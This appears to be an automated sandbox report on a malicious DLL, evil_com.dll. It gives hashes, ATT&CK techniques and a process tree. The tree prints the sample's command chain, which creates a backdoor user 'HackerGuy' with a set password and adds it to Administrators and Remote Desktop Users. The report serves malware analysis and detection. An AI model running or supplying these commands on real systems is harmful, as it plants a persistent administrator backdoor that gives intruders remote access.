2f4fe2de727533fe716de2495eeaed2f82267b5e3133cf550cc0d6343afe6049

Analysis

user interaction
yes
max time kernel
20s
max time network
6s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 03:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
evil_com.dll
Size 14KB
Sample260823-dzpytasdmc
SHA256 2f4fe2de727533fe716de2495eeaed2f82267b5e3133cf550cc0d6343afe6049
MD5 e7d0dec2e5af08b21f0d10af9d145318
SHA1 741baf393a686a99ef00b7d10616951129ac6c10
SHA512 8508ee1fb0b6bd0a916b6b40f3f139f9746890643ddf4953f441207144f26fcb6e5513179dd9f0e4fa2414cd002c0ef376ac3c9094d324de34495b396acf7ac4
SSDEEP 192:U2/Ot86Z0QNwAFRGeayZbe2uHT8yL6zVMc+ad7Yi6+YF+1+KlR3:Uh861mI/benvUCI6+YF+1+KlR
TLSH
T13362C68FB69398FECD16E274E1FB5734F5B57C2108646E3F42A4C2B24E24544827DA4B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

discovery lateral_movement persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 6 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
3736	net.exe
800	net.exe
5988	net1.exe
1700	net1.exe
5828	cmd.exe
6104	cmd.exe

Creates a new local user account 1 TTPs 4 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3340	net.exe
4352	net1.exe
1244	net1.exe
4864	net.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001
Runs net.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 5828	2148	rundll32.exe	88
PID 2148 wrote to memory of 6104	2148	rundll32.exe	89
PID 5828 wrote to memory of 4864	5828	cmd.exe	94
PID 6104 wrote to memory of 3340	6104	cmd.exe	93
PID 3340 wrote to memory of 4352	3340	net.exe	95
PID 4864 wrote to memory of 1244	4864	net.exe	96
PID 5828 wrote to memory of 3668	5828	cmd.exe	97
PID 6104 wrote to memory of 4636	6104	cmd.exe	98
PID 4636 wrote to memory of 3300	4636	net.exe	99
PID 3668 wrote to memory of 4908	3668	net.exe	100
PID 6104 wrote to memory of 3736	6104	cmd.exe	101
PID 5828 wrote to memory of 800	5828	cmd.exe	102
PID 800 wrote to memory of 5988	800	net.exe	103
PID 3736 wrote to memory of 1700	3736	net.exe	104

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\evil_com.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Windows\System32\cmd.exe
  /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerGuy /add & net localgroup "Remote Desktop Users" HackerGuy /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:5828
- - C:\Windows\system32\net.exe
    net user HackerGuy P@ssw0rd! /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
      4⤵
      Creates a new local user account
      PID:1244
- - C:\Windows\system32\net.exe
    net localgroup Administrators HackerGuy /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3668
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators HackerGuy /add
      4⤵
      PID:4908
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" HackerGuy /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerGuy /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:5988
- C:\Windows\System32\cmd.exe
  /c net user HackerGuy P@ssw0rd! /add & net localgroup Administrators HackerGuy /add & net localgroup "Remote Desktop Users" HackerGuy /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:6104
- - C:\Windows\system32\net.exe
    net user HackerGuy P@ssw0rd! /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user HackerGuy P@ssw0rd! /add
      4⤵
      Creates a new local user account
      PID:4352
- - C:\Windows\system32\net.exe
    net localgroup Administrators HackerGuy /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4636
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators HackerGuy /add
      4⤵
      PID:3300
- - C:\Windows\system32\net.exe
    net localgroup "Remote Desktop Users" HackerGuy /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:3736
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" HackerGuy /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:1700